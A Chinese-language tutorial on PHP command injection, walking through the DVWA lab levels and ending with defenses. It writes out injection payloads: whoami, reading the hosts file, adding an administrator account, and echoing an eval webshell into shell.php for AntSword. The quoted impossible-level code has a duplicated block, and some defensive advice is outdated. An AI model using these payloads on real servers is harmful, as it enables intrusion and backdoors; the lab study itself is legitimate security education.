命令执行漏洞

漏洞原理

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令(如添加一个名为admin 密码为admin的用户 net user admin admin/add net localgroup administrators admin /add 加入管理员组(赋予管理员权限))

命令执行常用函数

 1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
string system(string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
2. Exec:exec函数可以用来执行一个外部的应用程序
string exec (string command, array&output, int &return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。
3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:
void passthru (string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令后的状态值。
4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command)
其中,command是要执行的命令。

常用的命令连接符

command1&command2 两个命令同时执行
command1&&command2 只有前面命令执行成功,后面命令才继续执行
command1;command2 不管前面命令执行成功没有,后面的命令继续执行、
command1|command2 第一个命令的输出作为第二个命令的输入
command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
command1 `command2`,command2的执行结果会在command1的报错信息中显示。

危害

查看系统敏感文件

提交参数[?cmd=command1|type c:\windows\system32\drivers\etc\hosts],查看系统hosts文件。

执行系统命令

如提交参数[?cmd=command1|whoami]查看当前用户

写shell

提交参数

?cmd=command1|echo "<?php @eval($_POST['shell']); ?>" > shell.php

页面没有报错,说明写入文件成功。然后利用蚁剑来getshell

DVWA 命令注入

low级别

输入127.0.0.1|whoami,尝试看是否能执行第二个命令

返回结果,表明注入成功:

查看low级别源码发现没有做任何过滤,直接将前端输入的参数与ping结合执行命令:

getshell

输入框输入127.0.0.1|echo “ “ > shell1.php

点击提交后就会在当前目录生成shell1.php

然后用蚁剑连接,getshell!

以下级别的getshell部分如上一样,所以不再赘述,只讲命令注入如何绕过后端过滤

Medium级别

继续尝试使用127.0.0.1|whoami进行漏洞测试:

发现还是没有过滤|管道符,注入成功:

查看medium级别源码发现虽然做了输入过滤但是没有过滤管道符:

high级别

继续尝试使用127.0.0.1|whoami进行漏洞测试:

发现还是没有过滤管道符QwQ,服了:

查看源码发现其过滤了大部分连接符,但仔细看过滤的是管道符+空格,所以依然没有过滤管道符:

Impossible级别

查看源码,发现针对ping这个命令其防守思路是先将前端传过来的参数按.分割开然后分别判断每一部分是否是数字,如果每一部分都是那么重新拼接然后执行命令,该方法能抵御所有连接符

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );//stripslashes()函数对获取的用户的输入target字符串中的反斜杠删除,返回删除发斜杠后的字符串。

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

总结

做下来发现低中高级别的差异也就是在过滤的全面性这方面有所不同,而就算是high级别也漏掉了一些连接符导致产生漏洞,所以针对命令执行漏洞还是Impossible的方法比较好

防御方法

禁用高危系统函数

phpinfo() 、eval() 、passthru() 、chroot()、 scandir()、chgrp() 、 chown() 、 shell_exec() 、 proc_open()、proc_get_status() 、 ini_alter() 、ini_alter()、ini_restore()、dl()、 pfsockopen() 、 openlog() 、syslog()、 readlink()、symlink() 、 popepassthru() 、stream_socket_server() 、fsocket() 、 fsockopen()

在php安装目录中找到php配置文件php.ini,找到disable_functions,在后面添加禁用的函数名,函数名之间以英文逗号分隔

严格过滤特殊字符

从前面的例子可以发现在利用命令执行漏洞时会利用一些特殊的连接符,用来拼接执行的命令。对此,可创建仅包含允许的字符或命令列表的白名单以验证用户输入。

开启safe_mode

safe_mode : php安全模式,通俗的说就是以安全模式运行php

在php.ini文件里面设置safe_mode = On即可开启

https://segmentfault.com/a/1190000021855624

https://www.jianshu.com/p/720649d2427f

https://www.wawyw.top/posts/4134.html